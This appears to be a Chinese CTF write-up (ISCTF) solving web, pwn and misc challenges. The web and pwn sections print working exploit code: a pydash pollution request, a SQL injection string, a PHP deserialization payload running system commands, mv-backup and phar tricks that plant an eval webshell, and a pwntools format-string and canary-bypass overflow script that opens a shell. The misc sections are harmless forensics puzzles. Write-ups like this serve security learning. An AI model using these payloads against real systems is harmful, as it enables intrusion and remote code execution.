[Web] Who am I
先注册个账号,登陆一下,bp抓包发现居然多了一个参数??后面审计发现是混淆后的js注入的。其中type=0代表给姥爷账号,type=1代表普通账号
POST /loginusername=Chao&password=123456&type=0成功登陆管理员账号,获取源码
from flask import Flask,request,render_template,redirect,url_forimport jsonimport pydash
app=Flask(__name__)
database={}data_index=0name=''
@app.route('/',methods=['GET'])def index(): return render_template('login.html')
@app.route('/register',methods=['GET'])def register(): return render_template('register.html')
@app.route('/registerV2',methods=['POST'])def registerV2(): username=request.form['username'] password=request.form['password'] password2=request.form['password2'] if password!=password2: return ''' <script> alert('前后密码不一致,请确认后重新输入。'); window.location.href='/register'; </script> ''' else: global data_index data_index+=1 database[data_index]=username database[username]=password return redirect(url_for('index'))
@app.route('/user_dashboard',methods=['GET'])def user_dashboard(): return render_template('dashboard.html')
@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])def A272e1739b89da32e983970ece1a086bd(): return render_template('admin.html')
@app.route('/operate',methods=['GET'])def operate(): username=request.args.get('username') password=request.args.get('password') confirm_password=request.args.get('confirm_password') if username in globals() and "old" not in password: Username=globals()[username] try: pydash.set_(Username,password,confirm_password) return "oprate success" except: return "oprate failed" else: return "oprate failed"
@app.route('/user/name',methods=['POST'])def name(): return {'username':user}
def logout(): return redirect(url_for('index'))
@app.route('/reset',methods=['POST'])def reset(): old_password=request.form['old_password'] new_password=request.form['new_password'] if user in database and database[user] == old_password: database[user]=new_password return ''' <script> alert('密码修改成功,请重新登录。'); window.location.href='/'; </script> ''' else: return ''' <script> alert('密码修改失败,请确认旧密码是否正确。'); window.location.href='/user_dashboard'; </script> '''
@app.route('/impression',methods=['GET'])def impression(): point=request.args.get('point') if len(point) > 5: return "Invalid request" List=["{","}",".","%","<",">","_"] for i in point: if i in List: return "Invalid request" return render_template(point)
@app.route('/login',methods=['POST'])def login(): username=request.form['username'] password=request.form['password'] type=request.form['type'] if username in database and database[username] != password: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' elif username not in database: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' else: global name name=username if int(type)==1: return redirect(url_for('user_dashboard')) elif int(type)==0: return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))
if __name__=='__main__': app.run(host='0.0.0.0',port=8080,debug=False)发现存在pydash的污染,污染username、password、password2,修改render_template的目录到/下,这里有关键词old过滤
http://challenge.bluesharkinfo.com:29403/operate?username=app&password=jinja_loader.searchpath&confirm_password=/然后尝试
http://challenge.bluesharkinfo.com:29403/impression?point=flag成功获得flag

[Web] flag到底在哪

💡 Hint: Try username admin
注了半天都没成功,突然这个报错了
username=admin&password[]=123
Fatal error: Uncaught TypeError: strpos(): Argument #1 ($haystack) must be of type string, array given in /var/www/html/admin/login.php:14 Stack trace: #0 /var/www/html/admin/login.php(14): strpos(Array, '' OR '1'='1') #1 {main} thrown in /var/www/html/admin/login.php on line 14这是好事啊,说明存在过滤,不过我这个可以过啊。。。难道是之前到残留??不懂了
username=admin&password=' OR '1'='1' AND username='admin现在就可以访问/upload.php http://challenge.bluesharkinfo.com:24000/upload.php
上传一句话,找不到flag,读取/start.sh,发现flag在/home/flag,读取就好了
[Web] Bypass
八进制绕过
<?php// 必须与靶机 dump 出来的属性类型完全一致class FLAG{ // 靶机显示 ["a":"FLAG":private],所以这里必须是 private private $a;
// 靶机显示 ["b":protected],所以这里必须是 protected protected $b;
public function __construct($a, $b) { $this->a = $a; $this->b = $b; }}
// 1. 设置 $a (create_function)$func_name = 'create_function';
// 2. 设置 $b (利用8进制绕过WAF执行命令)// 目标命令:这里写你想执行的命令$cmd = 'cat /flag';
// 8进制编码函数function ascii2octal($str) { $out = ''; for ($i = 0; $i < strlen($str); $i++) { $out .= '\\' . decoct(ord($str[$i])); } return $out;}
// 构造闭合 Payload// 逻辑: } $x="system"; $x("cat /flag"); /*$payload_content = '} $x="' . ascii2octal('system') . '"; $x("' . ascii2octal($cmd) . '"); /*';
// 3. 实例化并序列化$obj = new FLAG($func_name, $payload_content);$serialized = serialize($obj);
// 4. 重要:直接输出 URL 编码后的字符串// 只有这样才能保留 private/protected 属性中的 %00echo "请复制下面的字符串作为 exp 参数的值:\n\n";echo urlencode($serialized);?>本地调试的时候吧private改成public了,结果靶机怎么都exp不了,,,这样就好了,另外urlencode一下可以防止出问题。
http://challenge.bluesharkinfo.com:20810/?exp=O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A77%3A%22%7D+%24x%3D%22%5C163%5C171%5C163%5C164%5C145%5C155%22%3B+%24x%28%22%5C143%5C141%5C164%5C40%5C57%5C146%5C154%5C141%5C147%22%29%3B+%2F%2A%22%3B%7D[Web] mv_upload
dirsearch扫出源码,审计发现mv命令拼接,且存在通配符展开,可以用文件名作为命令执行
但分号无法绕过,考虑mv的特性(结合题名)
这题考查mv的—backup特性,当目的地存在同名文件时会触发备份,自动添加—suffix设置的后缀。
存在大量过滤,但仔细审计发现都包含了.,因此考虑把php作为后缀,加到shell.上去
具体过程:
先传一个shell.
mv一下
再上传--backup=simple--suffix=phpshell.
再mv一下,触发覆盖,生成shell.php完成GetShell

[Pwn] ez_fmt
from pwn import *
# ================= 配置区域 =================context(os='linux', arch='amd64', log_level='debug')binary_path = './ez_fmt'elf = ELF(binary_path)
# 启动进程# io = process(binary_path)
host = 'challenge.bluesharkinfo.com'port = 20609io = remote(host, port)# ===========================================
# 1. 泄露 Canary 和 返回地址 (计算 PIE)print("[-] Step 1: Leaking Canary and PIE Base...")io.recvuntil(b"1st input: ")
# 发送 payload:同时泄露 Canary (%23$p) 和 返回地址 (%25$p)io.sendline(b'%23$p.%25$p')
# 接收并解析data = io.recvline().strip().split(b'.')if len(data) < 2: print("[!] Error: Leak data incomplete. Check offset.") exit()
canary = int(data[0], 16)leak_ret_addr = int(data[1], 16)
print(f"[+] Leaked Canary: {hex(canary)}")print(f"[+] Leaked Ret Addr: {hex(leak_ret_addr)}")
# objdump -d ./ez_fmt | grep -A 2 "call.*vuln"RET_OFFSET = 0x135b # 根据 objdump 结果确认elf.address = leak_ret_addr - RET_OFFSETprint(f"[+] PIE Base Address: {hex(elf.address)}")print(f"[+] Real Win Address: {hex(elf.symbols['win'])}")
# ===========================================
# 2. 栈溢出攻击 (Bypass Canary & PIE)print("[-] Step 2: Sending Buffer Overflow Payload...")io.recvuntil(b"2nd input: ")
# 获取 ROP gadget (用于栈对齐)rop = ROP(elf)try: ret_gadget = rop.find_gadget(['ret'])[0] print(f"[*] Ret Gadget: {hex(ret_gadget)}")except: # 如果找不到 ret gadget,尝试直接跳 win (可能不需要对齐) ret_gadget = 0 print("[!] Warning: Ret gadget not found.")
padding_size = 136 # buffer 大小
# 构造 Payloadpayload = flat([ b'A' * padding_size, # 填满 Buffer canary, # 填回 Canary b'B' * 8, # 覆盖 RBP ret_gadget, # ret gadget (栈对齐,防崩) elf.symbols['win'] # 跳转到 win])
# 发送io.sendline(payload)
# 3. 拿 Shellprint("[*] Switching to interactive mode...")io.interactive()[Misc] 美丽的风景照
神人题,第三天才放hint
查看提示: HINT1按照彩虹颜色排序试试看
查看提示: HINT2这照片里的古建筑上怎么写个明光大正”“那是正大光明,古风都是倒着来的分帧,古风要反过来,整体按彩虹顺序,base58
2WqjC2gD7HLo86yRWhKEaC3ZXw8T98Mz
ISCTF{H0w_834u71fu1!!!}
[Misc] 小蓝鲨的神秘文件
ChsPinyinUDL.dat是微软输入法都词库学习文件,用UTF-16 LE打开就能看到内容了,有效内容如下:
帮我优化这段代码不要乱动我的代码不要动我原来的代码出题人说弗莱格在官网出题人说弗莱格在那里官网的新闻里在那里还有一些项目合作的机会福州蓝鲨信息技术有限公司机会是留给有准备的人看看官网的新闻吧你把简历投了再说你去看看新闻动态呢你去找辅导员问问去蓝鲨官网看看呗你这个脚本跑不了啊他们招实习的这次比赛你参加了吗真的可以去试试在我原来的基础上修改感觉像一边聊天一边vibe coding
在这里https://www.bluesharkinfo.com/news/article/2025-11-25-news20文章最后找到flag
ISCTF{我要和小蓝鲨组一辈子CTF战队}[Misc] Abnormal log
import re
# 将题目提供的日志内容保存为 log.txtlog_file = "access.log"
def extract_flag(): with open(log_file, "r") as f: content = f.read()
# 1. 正则匹配所有的 File data segment # 注意:虽然时间戳乱序,但日志文本中 Segment 是按 1-116 顺序出现的 # 如果文本行顺序也是乱的,需要根据 "segment X..." 进行排序,但此题文本流看起来是顺序的 pattern = re.compile(r"\[INFO\] File data segment: ([0-9a-f]+)") hex_segments = pattern.findall(content)
# 2. 拼接所有十六进制字符串 full_hex = "".join(hex_segments)
# 3. 转换为字节流 data_bytes = bytes.fromhex(full_hex)
# 4. XOR 0x05 解密 decrypted_bytes = bytearray() for b in data_bytes: decrypted_bytes.append(b ^ 0x05)
# 5. 保存文件 # 根据文件头 37 7A BC AF,这是一个 7z 文件 output_filename = "result.7z" with open(output_filename, "wb") as f: f.write(decrypted_bytes)
print(f"[-] 文件已提取为 {output_filename}") print("[-] 请解压该文件,里面包含一个 flag.png,打开图片即可看到 Flag。")
if __name__ == "__main__": extract_flag()
ISCTF{sabfndhjkashgfyiasdgfyusdguyfbknncxzbnj}
[Misc] 小蓝鲨的千层FLAG
7z l -slt flagggg999.zip发现Comment写了密码,试了一下可以,丢给ai搓剥洋葱脚本。
Comment = The password is 0eb9d3986e56473c
import zipfileimport subprocessimport reimport os
def solve_matryoshka(): # 初始文件名 current_zip = "flagggg999.zip"
while True: if not os.path.exists(current_zip): print(f"[-] 文件 {current_zip} 不存在,停止。") break
try: # 1. 使用 zipfile 读取注释 (zipfile 可以读取 AES 包的元数据) with zipfile.ZipFile(current_zip, 'r') as zf: # 注释是 bytes 类型,需要解码 comment = zf.comment.decode('utf-8', errors='ignore').strip()
# 获取包内的文件名 (假设只有一个文件) file_list = zf.namelist() if not file_list: print("[-] 压缩包为空") break next_file = file_list[0]
# 2. 从注释中提取密码 # 注释格式: "The password is 0eb9d3986e56473c" print(f"[*] 正在处理: {current_zip} | 注释: {comment}")
# 使用正则提取密码 (匹配 "password is " 后面的内容) match = re.search(r"password is\s+([^\s]+)", comment) if match: password = match.group(1) else: # 如果没有找到标准格式,尝试直接用注释最后一部分 print("[!] 未匹配到标准格式,尝试使用最后一段作为密码") password = comment.split()[-1]
# 3. 调用系统 7z 命令进行解压 (因为 Python zipfile 不支持 AES) # 格式: 7z x -pPASSWORD -y ARCHIVE cmd = ["7z", "x", f"-p{password}", "-y", current_zip]
# 运行解压命令,屏蔽输出以免刷屏 result = subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)
if result.returncode != 0: print(f"[-] 解压失败: {current_zip}") print(f"[-] 错误信息: {result.stderr.decode()}") break
# 4. 清理旧文件并指向新文件 os.remove(current_zip) # 删除上一层,节省空间 current_zip = next_file
# 如果解压出来的不是 zip 了(比如是 flag.txt),就停下来 if not current_zip.endswith('.zip'): print(f"\n[SUCCESS] 最终文件已解出: {current_zip}") print("内容如下:") try: with open(current_zip, 'r', encoding='utf-8') as f: print(f.read()) except: print("(文件可能是二进制格式,请手动查看)") break
except zipfile.BadZipFile: print(f"[-] {current_zip} 不是有效的 ZIP 文件") break except Exception as e: print(f"[-] 发生未知错误: {e}") break
if __name__ == "__main__": solve_matryoshka()
获得flagggg3.zip,此时注释不再有密码,且加密方式变成了ZipCrypto,压缩方式Store,意味着压缩包内的文件名会以明文形式出现,补足足够的长度。
bkcrack -C flagggg3.zip -c flagggg2.zip -x 0 504B0304 -x 30 666C6167676767312E7A6970注:
偏移 0: ZIP 头签名 50 4B 03 04偏移 30: 内部包含的文件名 flagggg1.zip (文件名通常从第 30 字节开始)
获得key后解压出flagggg2.zip
bkcrack -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d flagggg2.zip之后这个flagggg2.zip没有加密,flagggg1.zip也是(感动),一路解压出flagggg.txt
You deserve it !ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}[Misc] 星髓宝盒
给了张png,zsteg看到末尾追加了一个zip
binwalk -e 星髓宝盒.png提取获得
你是优秀学生吗.txt真-星髓宝盒.zip星髓宝盒.jpg先看一下这个压缩包,真加密,确认flag就在里面
(base) ➜ E064B bkcrack -L 真-星髓宝盒.zipbkcrack 1.8.1 - 2025-10-25Archive: 真-星髓宝盒.zipIndex Encryption Compression CRC32 Uncompressed Packed size Name----- ---------- ----------- -------- ------------ ------------ ---------------- 0 Other Deflate bd48ae80 39 69 真-星髓宝盒/flag.txt再看一眼这个jpg,使用exiftool

发现XP Comment: https://www.somd5.com/,访问一看是个md5解密网站,考虑可能会给一段md5,解密后即为压缩包密码。
然后来看这个你是优秀学生吗.txt,好长的文本,但乍眼一看没有有效信息,用vim看一下。

发现有不可见零宽字符,使用网页工具解密。这里需要使用https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html这个

解出的密文没有有效信息,猜测仍然存在隐写,用vim看一下。

确认存在零宽字符隐写,但零宽字符与之前的不一样,之前的工具无法使用。使用随波逐流自带的字密3-JS:零宽字符加解密1,获得md5。(原版的该工具无法成功解密)

5b298e6836902096e9316756d3b58ec4,使用之前的网站解密一下,成功获得压缩包密码

解压得到flag: ISCTF{1e7553787953e74113be4edfe8ca0e59}
[Misc] 木林森
解压获得木林森.txt,厨子解base64,获得png。

扫码获得数字20000824
binwalk分离出一张jpg。

文明友善爱国文明诚信自由文明诚信自由文明友善爱国自由友善法治公正民主公正友善法治公正文明公正民主文明诚信自由文明友善爱国文明诚信自由文明诚信自由随波逐流解出来
....Mamba....关注png之后还多了一段hex
31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B90F4E036长度看起来像流加密,考虑RC4
"聪明的你,截获了来自木林森这个间谍组织发送的加密通信内容,请特别注意他们的神秘标记!!!!
其中还有被破坏没有拦截成功的密文,你凭借记忆依稀只记得:""Ron's Code For...?"",请解开通信内容,获取flag"
....Mamba....20000824猜测密码为2000Mamba0824

ISCTF{590CF439-E304-4E27-BE45-49CC7B02B3F3}[Web] include_upload
打phar,配合自动解压的特性。另外phar包含只需要路径里有.phar就行了,不需要在最后,甚至是文件夹名都可以,也不管后缀是什么。
exp如下
<?php$phar = new Phar('exploit.phar');$phar->startBuffering();$code = <<<'EOD'<?php
$shell_file = "shell.php"; $shell_content = "<?php @eval(\$_POST['cmd']); ?>"; if (file_put_contents($shell_file, $shell_content)) { echo "ojbk"; } else { die("NOOOO!!!"); }
echo "Phar stub executed\n"; eval($_POST['cmd']); __HALT_COMPILER();?>EOD;$phar->setStub($code);$phar->addFromString('index.php', $code);
$phar->compress(Phar::GZ);
$phar->stopBuffering();
?>生成exploit.phar.gz,改名成exploit.phar.gz.png,实际上只要包含.phar且后缀为.png就可以了,然后去/include.php包含,会自动写马。
附上dump出来的原题:
upload.php
<?phperror_reporting(0);header("Content-type:text/html;charset=utf-8"); //白名单 $ext_arr = array('png'); $file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1); //判断filename是否为空 $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename']; //判断filename的后缀是不是在黑名单 $name = basename($_POST['filename']); $filename_ext= pathinfo($name,PATHINFO_EXTENSION); $filename=$_FILES['file']['name']; $content = file_get_contents($_FILES['file']['tmp_name']);
if(in_array($file_ext,$ext_arr)){ //检测文件后缀 echo "后缀没错"."\n"; //整个文件内容检测 if (stripos($content, '<?') === false && stripos($content, 'php') === false) { if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " 文件已经存在。 "; } else { // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "文件存储在: " . "upload/" . $filename; } } else{ echo "别看了,我这waf你过不掉的,看看这题的特点,看看提示也行"."\n";
} }else{ echo "必须上传.png哦"; }
?>include.php
<?phphighlight_file(__FILE__);error_reporting(0);$file = $_GET['file'];if(isset($file) && strtolower(substr($file, -4)) == ".png"){ include'./upload/' . basename($_GET['file']); exit;}?>我还以为你真信如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









